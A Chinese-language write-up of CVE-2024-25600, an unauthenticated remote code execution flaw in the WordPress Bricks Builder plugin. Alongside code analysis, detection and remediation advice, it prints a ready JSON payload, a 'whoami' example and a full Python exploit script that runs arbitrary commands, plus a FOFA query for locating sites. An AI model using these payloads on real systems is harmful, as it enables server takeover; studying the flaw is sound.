WordPress Bricks Builder RCE(CVE-2024-25600)分析
字数 1908 2025-08-23 18:31:18
WordPress Bricks Builder RCE漏洞(CVE-2024-25600)分析与利用教学
1. 漏洞概述
CVE-2024-25600是WordPress Bricks Builder插件中的一个严重远程代码执行(RCE)漏洞,该漏洞允许未经认证的攻击者在目标系统上执行任意PHP代码。
漏洞类型:未授权远程代码执行
CVSS评分:9.8 (Critical)
影响版本:Bricks Builder插件受影响版本(具体版本范围未明确,但2024年2月前版本均受影响)
漏洞位置:includes/query.php中的prepare_query_vars_from_settings函数
2. Bricks Builder插件简介
Bricks Builder是一个WordPress页面构建插件,主要功能包括:
- 拖放构建界面
- 预设模块和布局
- 响应式设计支持
- 动画效果和过渡效果
- 定制样式选项
- 实时预览功能
3. 漏洞技术分析
3.1 漏洞触发链
- 入口点:
/wp-json/bricks/v1/render_element(REST API端点) - 权限检查绕过:仅验证nonce值,不验证用户权限
- 代码执行点:
eval($php_query_raw)(完全用户可控)
3.2 关键代码分析
3.2.1 漏洞触发点
includes/query.php中的prepare_query_vars_from_settings函数:
$user_result = eval( $php_query_raw );
$php_query_raw完全由用户控制,通过精心构造的请求可直接传入恶意代码。
3.2.2 触发条件
需要满足以下条件才能触发漏洞:
settings数组中useQueryEditor为trueObjectType为post、term或user之一queryEditor不为空element数组中id值为空hasLoop设置为true(动态数据渲染开关)
3.2.3 REST API端点
api.php中定义的端点:
register_rest_route( API_NAMESPACE, '/render_element', [
'methods' => 'POST',
'callback' => [ $this, 'render_element' ],
'permission_callback' => [ $this, 'render_element_permissions_check' ]
] );
权限检查仅验证nonce值:
public function render_element_permissions_check( $request ) {
return wp_verify_nonce( $request->get_param( 'nonce' ), 'bricks-nonce' );
}
3.3 漏洞利用条件
- 目标网站安装了Bricks Builder插件
- 能够获取有效的nonce值(通常在前端页面可见)
- 知道或猜测一个有效的postId(通常从1开始尝试)
4. 漏洞利用方法
4.1 获取nonce值
nonce值通常可以在前端页面的HTML源码中找到,搜索"bricks-nonce"。
4.2 构造恶意请求
HTTP请求方法:POST
请求路径:/wp-json/bricks/v1/render_element
Content-Type:application/json
Payload模板:
{
"postId": "1",
"nonce": "获取到的nonce值",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "恶意PHP代码;throw new Exception();",
"objectType": "post"
}
}
}
}
注意事项:
name字段可以是container或section等有效元素名称throw new Exception()用于触发错误回显,显示命令执行结果postId通常从1开始尝试,直到找到有效值
4.3 示例利用
执行whoami命令:
{
"postId": "1",
"nonce": "3d6020fb9a",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "system('whoami');throw new Exception();",
"objectType": "post"
}
}
}
}
4.4 自动化利用脚本
可以使用Python等语言编写自动化利用脚本:
import requests
import sys
def exploit(target_url, nonce, post_id, cmd):
headers = {'Content-Type': 'application/json'}
payload = {
"postId": post_id,
"nonce": nonce,
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": True,
"queryEditor": f"system('{cmd}');throw new Exception();",
"objectType": "post"
}
}
}
}
try:
response = requests.post(f"{target_url}/wp-json/bricks/v1/render_element",
json=payload,
headers=headers)
print(response.text)
except Exception as e:
print(f"Exploit failed: {str(e)}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <nonce> <post_id> <command>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
5. 漏洞检测
5.1 手动检测
-
检查网站是否使用Bricks Builder插件:
- 访问
/wp-content/plugins/bricks/路径 - 检查页面源码中是否包含
/wp-content/themes/bricks/或类似引用
- 访问
-
获取nonce值:
- 查看页面源码,搜索"bricks-nonce"
5.2 自动化检测
使用FOFA等网络空间搜索引擎:
body="/wp-content/themes/bricks/"
6. 漏洞修复方案
6.1 官方修复
官方在render_element_permissions_check中增加了用户权限检查,不再仅依赖nonce验证。
6.2 临时缓解措施
- 禁用Bricks Builder插件
- 限制访问
/wp-json/bricks/v1/路径 - 更新到最新版本的Bricks Builder插件
6.3 长期防护建议
- 定期更新所有WordPress插件
- 实施最小权限原则,限制插件权限
- 使用Web应用防火墙(WAF)防护此类攻击
- 监控可疑的REST API请求
7. 总结
CVE-2024-25600是一个典型的未授权RCE漏洞,其根本原因是:
- REST API端点权限检查不充分
- 用户输入直接传入eval()函数执行
- 动态数据渲染功能缺乏足够的安全控制
该漏洞再次提醒我们:
- 永远不要信任用户输入
- 权限检查必须全面严格
- 避免使用eval()等危险函数
- 插件安全审计至关重要